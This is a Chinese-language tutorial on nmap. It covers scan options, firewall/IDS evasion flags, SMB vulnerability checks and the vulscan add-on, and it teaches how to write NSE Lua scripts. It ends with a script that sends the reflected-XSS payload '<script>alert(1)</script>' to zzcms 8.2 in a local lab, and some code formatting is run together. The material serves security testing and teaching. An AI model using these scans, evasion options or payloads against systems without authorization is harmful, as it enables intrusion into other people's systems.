0x01:nmap功能介绍

1.主机存活检测

2.端口探测

3.服务识别

4.操作系统识别

5.硬件地址检测

6.服务版本识别

7.漏洞扫描,使用nmap自带脚本

0x02:简单示例

使用ping检测10.0.0.0/24这个网段

#!bash

nmap -sP 10.0.0.0/24

使用SYN的方法对全端口进行扫描,在aggressive(4)的时间模板下,同时对开放的端口进行端口识别

#!bash

nmap -p1-65535 -sV -sS -T4 target

PS: -T代表的是扫描的时候,一些控制选项(TCP的延迟时间,探测报文之间的间隔等)的集合,具体的man nmap一下就知道了

使用SYN扫描,在aggressive(4)的时间模板下,探测操作系统的类型和版本,还有显示traceroute的结果,结果输出较为详细

#!bash

nmap -v -sS -A -T4 target

使用SYN扫描,在insane(5)的时间模板下,探测操作系统的类型和版本,还有显示traceroute的结果,结果输出较为详细

#!bash

nmap -v -sS -A -T5 target

使用SYN扫描,在insane(5)的时间模板下,探测操作系统的类型,还有显示traceroute的结果,操作系统的类型,结果输出较为详细

#!bash

nmap -v -sV -O -sS -T5 target

使用SYN的方法对全端口进行扫描,同时对开放的端口进行端口识别,在aggressive(4)的时间模板下,探测操作系统的类型还有显示traceroute的结果,结果输出较为详细

#!bash

nmap -v -p 1-65535 -sV -O -sS -T4 target

用SYN的方法对全端口进行扫描,同时对开放的端口进行端口识别,在insane(5)的时间模板下,探测操作系统的类型,还有显示traceroute的结果,结果输出较为详细

#!bash

nmap -v -p 1-65535 -sV -O -sS -T5 target

从文件中读取需要扫描的IP列表

#!bash

nmap -iL ip-address.txt

Nmap输出格式

扫描的结果输出到屏幕,同时会存储一份到grep-output.txt

#!bash

nmap -sV -p 139,445 -oG grep-output.txt 10.0.1.0/24

扫描结果输出为html

#!bash

nmap -sS -sV -T5 10.0.1.99 --webxml -oX - | xsltproc --output file.html

Nmap扫描Netbios

在子网中发现开放netbios的IP

#!bash

nmap -sV -v -p139,445 10.0.0.1/24

扫描指定netbios的名称

#!bash

nmap -sU --script nbstat.nse -p 137 target

扫描指定的目标,同时检测相关漏洞

#!bash

nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 target

将nmap的80端口的扫描结果,通过管道交给nikto进行扫描

#!bash

Nmap Nikto Scan nmap -p80 10.0.1.0/24 -oG - | nikto.pl -h -

将nmap的80,443端口的扫描结果,通过管道交给nikto进行扫描

#!bash

nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -

0x03:Nmap参数详解

Nmap支持主机名,ip,网段的表示方式

例如:blah.highon.coffee, namp.org/24, 192.168.0.1;10.0.0-25.1-254

#!bash

-iL filename 从文件中读取待检测的目标,文件中的表示方法支持机名,ip,网段

-iR hostnum 随机选取,进行扫描.如果-iR指定为0,则是无休止的扫描

--exclude host1[, host2] 从扫描任务中需要排除的主机

--exculdefile exclude\_file 排除文件中的IP,格式和-iL指定扫描文件的格式相同

主机发现

#!bash

-sL 仅仅是显示,扫描的IP数目,不会进行任何扫描

-sn ping扫描,即主机发现

-Pn 不检测主机存活

-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping发现

-PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包发现主机

-PO[prococol list] 使用IP协议包探测对方主机是否开启

-n/-R 不对IP进行域名反向解析/为所有的IP都进行域名的反响解析

扫描技巧

#!bash

-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描

-sU UDP扫描

-sN/sF/sX TCP Null，FIN，and Xmas扫描

--scanflags 自定义TCP包中的flags

-sI zombie host[:probeport] Idlescan

-sY/sZ SCTP INIT/COOKIE-ECHO 扫描

-sO 使用IP protocol 扫描确定目标机支持的协议类型

-b “FTP relay host” 使用FTP bounce scan

指定端口和扫描顺序

#!bash

-p 特定的端口 -p80,443 或者 -p1-65535

-p U:PORT 扫描udp的某个端口, -p U:53

-F 快速扫描模式,比默认的扫描端口还少

-r 不随机扫描端口,默认是随机扫描的

--top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个

--port-ratio "ratio" 扫描指定频率以上的端口

服务版本识别

#!bash

-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测

--version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高，服务越有可能被正确识别。默认是7

--version-light 打开轻量级模式,为--version-intensity 2的别名

--version-all 尝试所有探测,为--version-intensity 9的别名

--version-trace 显示出详细的版本侦测过程信息

脚本扫描

#!bash

-sC 根据端口识别的服务,调用默认脚本

--script=”Lua scripts” 调用的脚本名

--script-args=n1=v1,[n2=v2] 调用的脚本传递的参数

--script-args-file=filename 使用文本传递参数

--script-trace 显示所有发送和接收到的数据

--script-updatedb 更新脚本的数据库

--script-help=”Lua script” 显示指定脚本的帮助

OS识别

#!bash

-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测

--osscan-limit 针对指定的目标进行操作系统检测(至少需确知该主机分别有一个open和closed的端口)

--osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时，会尽可能地提供最相近的匹配，Nmap默认进行这种匹配

防火墙/IDS躲避和哄骗

#!bash

-f; --mtu value 指定使用分片、指定数据包的MTU.

-D decoy1,decoy2,ME 使用诱饵隐蔽扫描

-S IP-ADDRESS 源地址欺骗

-e interface 使用指定的接口

-g/ --source-port PROTNUM 使用指定源端口

--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理

--data-length NUM 填充随机数据让数据包长度达到NUM

--ip-options OPTIONS 使用指定的IP选项来发送数据包

--ttl VALUE 设置IP time-to-live域

--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装

--badsum 使用错误的checksum来发送数据包

Nmap 输出

#!bash

-oN 将标准输出直接写入指定的文件

-oX 输出xml文件

-oS 将所有的输出都改为大写

-oG 输出便于通过bash或者perl处理的格式,非xml

-oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出

-v 提高输出信息的详细度

-d level 设置debug级别,最高是9

--reason 显示端口处于带确认状态的原因

--open 只输出端口状态为open的端口

--packet-trace 显示所有发送或者接收到的数据包

--iflist 显示路由信息和接口,便于调试

--log-errors 把日志等级为errors/warings的日志输出

--append-output 追加到指定的文件

--resume FILENAME 恢复已停止的扫描

--stylesheet PATH/URL 设置XSL样式表，转换XML输出

--webxml 从namp.org得到XML的样式

--no-sytlesheet 忽略XML声明的XSL样式表

其他nmap选项

#!bash

-6 开启IPv6

-A OS识别,版本探测,脚本扫描和traceroute

--datedir DIRNAME 说明用户Nmap数据文件位置

--send-eth / --send-ip 使用原以太网帧发送/在原IP层发送

--privileged 假定用户具有全部权限

--unprovoleged 假定用户不具有全部权限,创建原始套接字需要root权限

-V 打印版本信息

-h 输出帮助

0x04:例子 和 脚本

整个子网检测的Netbios

#!bash

Nmap -sV -v -p 139,445 10.0.1.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-11 21:26 GMT

Nmap scan report for nas.decepticons 10.0.1.12

Host is up (0.014s latency).

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MEGATRON)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MEGATRON)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 256 IP addresses (1 hosts up) scanned in 28.74 seconds

Nmap 查找Netbios名称

#!bash

nmap -sU --script nbstat.nse -p 137 10.0.1.12

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-11 21:26 GMT

Nmap scan report for nas.decepticons 10.0.1.12

Host is up (0.014s latency).

PORT STATE SERVICE VERSION

137/udp open netbios-ns

Host script results:

|\_nbstat: NetBIOS name: STARSCREAM, NetBIOS user: unknown, NetBIOS MAC: unknown (unknown)

Nmap done: 256 IP addresses (1 hosts up) scanned in 28.74 seconds

如果开启Netbios服务,检查是否存在漏洞

#!bash

nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 10.0.0.1

Nmap scan report for ie6winxp.decepticons (10.0.1.1)

Host is up (0.00026s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| regsvc DoS: NOT VULNERABLE

| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

|\_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds

**安装**

通过其程序[Github](https://github.com/scipag/vulscan)或官网[压缩包](http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz)下载，解压后把其中的文件释放到以下Nmap文件夹内：

Nmap\scripts\vulscan\\*

**使用**

如下命令对目标主机开始扫描：

nmap -sV –script=vulscan/vulscan.nse [www.example.com](http://www.example.com/)

**漏洞库数据**

scipvuldb.csv – [https://vuldb.com](https://vuldb.com/)

cve.csv – [http://cve.mitre.org](http://cve.mitre.org/)

osvdb.csv – [http://www.osvdb.org](http://www.osvdb.org/)

securityfocus.csv – <http://www.securityfocus.com/bid/>

securitytracker.csv – [http://www.securitytracker.com](http://www.securitytracker.com/)

xforce.csv – [http://xforce.iss.net](http://xforce.iss.net/)

expliotdb.csv – [http://www.exploit-db.com](http://www.exploit-db.com/)

openvas.csv – [http://www.openvas.org](http://www.openvas.org/)

**单个漏洞库使用命令**

--script-args vulscandb=your\_own\_database

**漏洞库升级**

需要在[官网下载](http://www.computec.ch/projekte/vulscan/?s=download)或通过以下链接手动下载数据库文件到/vulscan/目录中保持数据更新：

<http://www.computec.ch/projekte/vulscan/download/cve.csv>

<http://www.computec.ch/projekte/vulscan/download/exploitdb.csv>

<http://www.computec.ch/projekte/vulscan/download/openvas.csv>

<http://www.computec.ch/projekte/vulscan/download/osvdb.csv>

<http://www.computec.ch/projekte/vulscan/download/scipvuldb.csv>

<http://www.computec.ch/projekte/vulscan/download/securityfocus.csv>

<http://www.computec.ch/projekte/vulscan/download/securitytracker.csv>

<http://www.computec.ch/projekte/vulscan/download/xforce.csv>

**版本检测功能**

版本检测功能在于对软件版本和漏洞数据库的具体信息进行探测，关闭该功能可能会导致误报，减少漏报提高运行效率，你可以使用以下命令把该功能关闭：

--script-args vulscanversiondetection=0

**优先匹配功能**

该功能在于对漏洞检测进行最优匹配扫描，可能会引起误报，但有利于对漏洞进行全面识别，使用以下命令开启该功能：

--script-args vulscanshowall=1

**交互模式**

该功能可以涵盖所有端口的检测结果，使用以下命令开启该功能：

--script-args vulscaninteractive=1

**脚本分类**

首先我们得了解脚本的分类信息，这样我们才能更好地把我们自定义的脚本进行归类利用。

| **脚本类别** | **描述** |
| --- | --- |
| auth | 与用户认证相关的NSE脚本 |
| broadcast | 使用广播收集网络信息 |
| brute | 暴力破解 |
| default | 默认，执行脚本（-sC） |
| discovery | 与主机和服务发现相关的脚本 |
| dos | 与拒绝服务攻击有关的脚本 |
| exploit | 用于利用安全漏洞的脚本 |
| external | 此类别适用于第三方服务的脚本 |
| fuzzer | NSE脚本专注于模糊测试 |
| intrusive | 入侵脚本 |
| malware | 与恶意软件检测相关的脚本类别 |
| safe | 在所有情况下默认为是安全的脚本 |
| vuln | 与检测和利用安全漏洞相关的脚本 |
| version | 高级系统脚本 |

NSE脚本选择

Nmap使用 —script选项进行脚本的选择。 这个选项后面可以是一个脚本名称，NSE类别，NSE文件的路径，包含脚本的文件夹,甚至表达式。使用 —script通过脚本名称或类别进行选择脚本。Nmap选项会按名称执行脚本。 执行时用逗号分隔几个脚本：

直接加脚本名称

nmap --script http-title <target>

nmap -p80 --script http-huawei-hg5xx-vuln <target>

nmap --script http-title，http-methods <target>

以下屏幕截图显示了http-huawei-hg5xx-vuln脚本的输出。 此脚本利用华为设备中的远程漏洞进行检索，检索的信息包括PPPoE凭证和无线网络安全配置：

要选择整个类别，只需使用类别的名称（请参阅脚本作为参数。 例如，要运行漏洞类别，

使用以下命令：

nmap --script exploit <target>

您也可以用逗号分隔它们来运行多个类别：

nmap --script discovery,intrusive <target>

-sC选项仅仅是--script默认选项的别名。

按文件名或文件夹选择

要执行NSE脚本文件，请使用以下命令：

nmap --script /path/to/script.nse <target>

与类别类似，可以通过分离路径来执行多个脚本

用逗号分隔：

nmap --script /path/to/script.nse,/another/path/script2.nse <target>

要执行文件夹中包含的所有脚本，只需要传递文件夹名称

举个栗子：

nmap --script/path/to/folder/ <target>

nmap --script /custom-nse-scripts/ scanme.nmap.org

高级脚本选择与表达式

表达式用于描述一组脚本。

我们可以利用脚本选择表达式的场景：

•举个栗子:（未利用表达式将匹配任何脚本）

使用不属于exploit类别的脚本：

#nmap -sV --script "not exploit" <target>

•或和运算符允许我们构造更复杂的表达式。

以下表达式将匹配不在intrusive,或者dos,或者exploit类别中的任何脚本。

#nmap --script "not（intrusive or dos or exploit）" -sV <target>

•如果我们想要执行broadcast和discovery中的所有类别脚本。

我们使用：

#nmap --script "broadcast and discovery" < target>

•甚至可以使用通配符\*：

#nmap --script "snmp- \*" <target>

•当然，我们可以结合使用通配符和表达式。例如:

让我们运行名称以http-开头的所有脚本，但排除

http-slowloris，http-brute，http-form-fuzzer和http-enum脚本：

#nmap --script "http-\* and not(http-slowloris or http-brute or

http-enum or http-form-fuzzer)" <target>

下一个命令将执行以http开头的但不在exploit类别中的所有脚本：

#nmap --script“http- \* not（exploit）”<target>

NSE脚本参数

**—script-args** 选项用于在NSE脚本中设置参数。

还是举个栗子，设置http-title脚本的参数useragent，  
使用这个表达式：

nmap -sV —script http-title —script-args http.useragent =“Mozilla 1337“

当然有时你也可以在忽略脚本名称设置参数(以下两条表达意思是一致的)：

nmap -p80 —script http-trace —script-args path

nmap -p80 —script http-trace —script-args http-trace.path

**如果你使用共享参数名称的脚本，就必须避免参数冲突。**例如下面中的uri参数，公用的时候要是需要进行额外的设置时就必须加上完整的脚本名称，避免参数之间的冲突。

$ nmap --script http-majordomo2-dir-traversal，http-axis2-dir-traversal

--script-args http-axis2-dir-traversal.uri = /axis2/，uri =/majordomo/ <target>

$ nmap --script http-majordomo2-dir-traversal，http-axis2-dir-traversal

--script-args uri = /axis2/，http-majordomo2-dir-traversal.uri = /majordomo/ <target>

Nmap的目录结构

我们只需要简单的了解一下它的结构即可，了解它的目录结构是为了清楚Nse脚本存放的位置。这里有几个注意点：

1.编写的脚本的后缀为nse

2.编写之后的NSE脚本存放在script文件夹内，这样脚本才可以生效

3.必须使用—script选项进行调用Nse脚本

NSE脚本的编写流程

在书写NSE脚本之前我们必须了解它的书写步骤，为了方便大家理解，我把一个NSE脚本的书写分为了四步。

1.导入脚本编写所需库

2.编写脚本描述信息

3.确定Rule类型

4.编写Action

文章看到这里大家肯定想接下来肯定要开始编写NSE脚本了吧。还不行呢，我们先举个几个栗子来说说四个Rule类型的区别。

Rule的四种类型

Rule：用于描述脚本的触发规则，返回值只有true和false两种。返回值决定了后面action对应的函数是否执行，注意：true(执行),flase(不执行)。它有四种类型分别是Prerule，Hostrule,Portrule,Postrule。

下面的几个栗子的环境为：

1.Window

2.phpstudy

3.nmap-7.6

4.zzcms8.2（对应zzcms.im）

**基础参数扩展**

| **host** | **table类型** |
| --- | --- |
| host.os | 操作系统信息 |
| host.ip | tagret(目标主机)对应的ip,例如下面的127.0.0.1 |
| host.name | tagert在命令行对应的名字，例如下面的zzcms.im |
| host.targetname | 同上host.name，我个人是这样认为的 |
| host.directly\_connected | 判断目标主机是否与本机在同一个子网 |
| host.mac\_addr | mac地址 （必须是同一子网的设备这个命令才有效） |
| **port** | **table类型** |
| port.number | 端口号 |
| port.protocol | 协议 |
| port.service | 服务 http或https |
| port.version | 版本信息 |
| port.state | 端口状态 |

**Prerule**

**Prerule会在Namp没有扫描之前进行触发。**

举个栗子：我们新建一个prerule.nse文件，然后我们把它存放在script文件夹下。只要”RongRi AnQuan NSE script Prerule test”打印在Namp扫描之前，就可以证明Prerule会在Namp没有扫描之前进行触发。

*-- prerule.nse*description = [[Prerule test ]]  
  
*----- @usage-- nmap --script prerule <target>  
  
-- @output---- Version 0.1  
  
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>  
  
---*author = "HongRi yumu"  
  
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"  
  
categories = {"default","safe"}

prerule = **function**(host,port)

**return** **trueend**action = **function**(host, port)

**return** "RongRi AnQuan NSE script Prerule test"**end**

我们都知道在**测试阶段**我们难免会出现错误,那假设我们出现了**错误**我们应该如何解决呢。这时我们需要借助Nmap的调试模式进行调试。还是老规矩举个栗子：**那我这里新建一个preruleDebug.nse文件让它打印系统信息故意让其出错（至于为啥会出错后面会解释），然后调试一下给大家看。我们只需要加上-d选项即可进入调试模式，那一般我这边是-d 3,3代表的是等级，等级越高，越详细。-d 3打印的调试的信息已经足够详细了，所以我习惯选择-d 3.**

*-- preruleDebug.nse*description = [[prerule test]]  
  
*-----@usage  
  
-- nmap   
--script preruleDebug -p 80 <target>  
  
-- @output-- Pre-scan script results:  
  
-- |\_prerule: HongRi AnQuan test prerule  
  
-- Version 0.1  
  
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>  
  
---*author = "HongRi yumu"  
  
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"  
  
categories = {"default","safe"}

prerule = **function**(host,port)

**return** **trueend** action = **function**(host, port)

**return** host.os  
  
**end**

我们从图中可以看到出错原因是因为**prerule threw an error!**看到详细原因是因为**attempt to index a nil value (local ‘host’)**意思是说host是个无效值。原因是：**我们知道prerule是在Nmap扫描之前触发脚本的。那也就是说我们是无法在action中打印出操作系统信息。**好了，到这里大家也应该知道如何调试错误了。

**听说，对比产生美**

我们都知道对比产生美，那我们在这个错误的模板上改一下规则让它变成hostrule，看看结果如何。

**Hostrule**

**Hostrule会在Namp执行主机发现或探测进行触发。**

举个栗子：新建一个hostrule.nse文件。复制上面preruleDebug.nse的代码，但是做一点改动，就是Rule的类型改为Hostrule。然后运行能否打印我们想要的系统信息(嘻嘻，结果当然是成功打印啦)。

*-- hostrule.nse*description = [[hostrule test]]*---  
  
--@usage-- nmap -O --script hostrule  <target>  
  
-- @output-- Host script results:  
  
-- |     hostrule:-- |  
  
-- |     name: Microsoft Windows 7 or 8.1 R1  
  
-- |     classes:-- |  
  
-- |         cpe:  
  
-- |           cpe:/o:microsoft:windows\_7  
  
-- |         osgen: 7  
  
-- |         vendor: Microsoft  
  
-- |         osfamily: Windows  
  
-- |         type: general purpose-- |  
  
-- |         cpe:  
  
-- |           cpe:/o:microsoft:windows\_8.1:r1  
  
-- |         osgen: 8.1-- |         vendor: Microsoft  
  
-- |         osfamily: Windows  
  
-- |\_        type: general purpose-- Version 0.1  
  
-- Created 21/3/2018 - v0.1   
- created by yumu <http://www.sec-redclub.com/>  
  
---*author = "HongRi yumu"  
  
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"  
  
categories = {"default","safe"}

hostrule = **function**(host,port)

**return** **trueend** action = **function**(host, port)

**return** host.os  
  
**end**

**Portrule**

**Portrule会在Namp执行端口扫描时触发脚本。**

举个栗子：新建portrule.nse文件，代码如下，然后我们扫描几个端口然后看看是否在扫描端口的时候打印出“Hongri Anquan yumu”和host.ip。

*-- portrule.nse***local** stdnse = require "stdnse"**local** table = require "table"*-- stdnse 标准输出库-- table table库*description = [[portrule test]]*----- @usage-- nmap -p 80,443,3306 --script portrule -p 80 <target>-- @output-- 80/tcp   open   http-- | portrule:-- |   127.0.0.1-- |\_  From: Hongri Anquan yumu-- Version 0.1-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>---*author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe"}

portrule = **function**(host,port)

**return** port.protocol == "tcp" **and** port.state == "open"**end***---- 判断目标端口运行的协议是否为tcp协议并且端口是否开放状态-- 当返回true时，执行action函数，反之不执行--***function** **action**(host,port)

**local** table\_input = {}    **local** user = "Hongri Anquan yumu"

   table.insert(table\_input,host.ip)    table.insert(table\_input,string.format("From: %s", user))    **return** stdnse.format\_output(**true**, table\_input)    *-- 输出“Hongri Anquan yumu”和host.ip信息*

*-- stdnse.format\_output: Formatted output looks better***end**

结果如下：

**再举一个栗子：小试牛刀，我们写一个Nse脚本来获取zzcms8.2网站上的客服电话号码。**

**参数知识扩展**

| **http** | **库** |
| --- | --- |
| get() | 发起get请求，请求结果以一个table的形式返回 |
| host | 要请求的主机 |
| path | 要检索的路径 |
| options | 可选，允许调用者控制socket,请求头的table |
| port | 要检索的端口 |
|  |  |
| post() | 发起post请求，请求结果以一个table的形式返回 |
| ignored | 向后兼用，一般填写nil，忽略即可 |
| postdata | post数据，字符串或者table格式 |
| host | 要请求的主机 |
| path | 要检索的路径 |
| options | 可选，允许调用者控制socket,请求头,超时时间的table |
| port | 要检索的端口 |

**注意小细节**

*-- 1.方法解释-- string.match(str, pattern, init)-- string.match()只寻找源字串str中的第一个配对. 参数init可选, 指定搜寻过程的起点, 默认为1。 -- 在成功配对时, 函数将返回配对表达式中的所有捕获结果; 如果没有设置捕获标记, 则返回整个配对字符串. 当没有---- 成功的配对时, 返回nil。-- 2.乱码问题解决方法-- 打印的response.body（响应体）在cmder可能会显示乱码。解决方法如下：-- cmd命令行窗口字符编码切换为UTF-8，命令行中执行：chcp 65001*

*-- portrulenumber.nse***local** stdnse = require "stdnse"**local** table = require "table"**local** shortport = require "shortport"**local** http = require "http"**local** string = require "string"description = [[Get the phone number of the customer service]]*-----@usage-- nmap --script portrulenumber -p 80 <target>-- @output                                                  -- PORT   STATE SERVICE                              -- 80/tcp open  http                                 -- |\_portrulenumber: consumer hotline:0371-86137281  -- Version 0.1-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>---*author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe"}

portrule = shortport.http**function** **action**(host,port)

**local** telephone\_number,baseurl

   baseurl = "/"

   response = http.get(host,port,baseurl)

   telephone\_number = string.match(response.body,"%d+-%d+")    **if**  telephone\_number ~= **nil**

**then**

**return** "consumer hotline:"..telephone\_number    **else**

**return** "Hongri Auquan"

**end**    **end**

Postrule

**Portrule会在Namp结束时触发脚本，通常用于扫描结果的数据提取和整理。**

举个栗子：  触发时候打印”Hongri Anquan test postrule”

*-- postrule.nse*description = [[postrule test]]*-----@usage-- nmap --script postrule ![postrule](http://owv5lapar.bkt.clouddn.com/postrule.jpg)![postrule](http://owv5lapar.bkt.clouddn.com/postrule.jpg)<target>-- @output-- Pre-scan script results:-- |\_prerule: HongRi AnQuan test prerule---- Version 0.1-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>-----*author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe"}

postrule = **function**(host,port)

**return** **trueend** action = **function**(host, port)

**return** "Hongri Anquan test postrule"**end**

初出茅庐，实战编写脚本探测zzcms8.2 反射型XSS

需要详细zzcms8.2代码审计的内容请到：https://bbs.ichunqiu.com/thread-36147-1-1.html

那我这里本地搭建了环境，然后我先简单使用火狐测试一下是否存在反射型xss。废话不说，打字累人，看操作。

嗯，只要玩过web渗透的都应该知道此时源码当中肯定插入了,这点必须清楚，因为这是我们后面编写Nse脚本思路。

好。我们来看看图，确定编写思路。

看完四步的你应该很清晰如何编写我们的脚本了，那就开干吧。我这里新建一个zzcmsxss.nse,代码如下：

**local** http = require "http"**local** shortport = require "shortport"**local** string = require "string"**local** stdnse = require "stdnse"**local** table = require "table"description = [[Detecting the presence of reflective xss in zzcms8.2]]*----- @usage-- nmap --script zzcmsxss -p 80 <target>-- nmap --script zzcmsxss -p 80 --script-args zzcmsxss.url-path='/website' <target>-- @output-- PORT   STATE SERVICE-- 80/tcp open  http-- | zzcmsxss:-- |\_  Final Results: Reflective xss exists---- @xmloutput-- <ports>-- <port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason\_ttl="128"/>-- <service name="http" method="table" conf="3"/>-- <script id="zzcmsxss" output="&#xa;  Final Results: Reflective xss exists&#xa;"/>-- </port>-- </ports>---- Version 0.1-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>---*author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe","discovery","version"}

portrule = **function**(host,port)

**return** port.protocol == "tcp" **and** port.state == "open"**endlocal** FLAG = "alert"action = **function**(host, port)

  print("port.numner is : ",port.number)   print("port status is : ",port.state)   **local** table\_input = {}   **local** xss\_exit = "Reflective xss exists"

**local** xss\_not\_exit = "Reflective xss does not exist"

**local** basepath = stdnse.get\_script\_args(SCRIPT\_NAME .. ".url-path") **or** '/install/index.php'

**local** options={headers = {

  ["Accept"]="text/html,application/xhtml+xm…plication/xml;q=0.9,\*/\*;q=0.8",

  ["Accept-Language"]="zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

  ["Accept-Encoding"]="gzip, deflate",

  ["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; W…) Gecko/20100101 Firefox/58.0",

  ["Host"] = host.name,

  ["Referer"]="http://".. host.name .."/install/index.php",

  ["Content-Type"]="application/x-www-form-urlencoded",

  ["Connection"]="Keep-alive",

  ["Content-length"]=76,

  ["Upgrade-Insecure-Requests"]=1,

  } }   **local** postdata = {

   ["admin"]="admin",

   ["adminpwdtrue"]="admin<script>alert(1)</script>",

   ["step"]=6

  }   **local** response= http.post(host,port,basepath,options,**nil**,postdata)  *-- 发送post请求*

**if** response.status **and** response.body

**then**

**if** response.status == 200 **and** string.find(response.body,FLAG) ~= **nil**  *-- 如果写入alert字段，说明漏洞存在*

**then**

     table.insert(table\_input,string.format("Final Results: %s",xss\_exit))        **return** stdnse.format\_output(**true**, table\_input)    **else**

     table.insert(table\_input,string.format("Final Results: %s",xss\_not\_exit))        **return** stdnse.format\_output(**true**, table\_input)    **end**

**endend**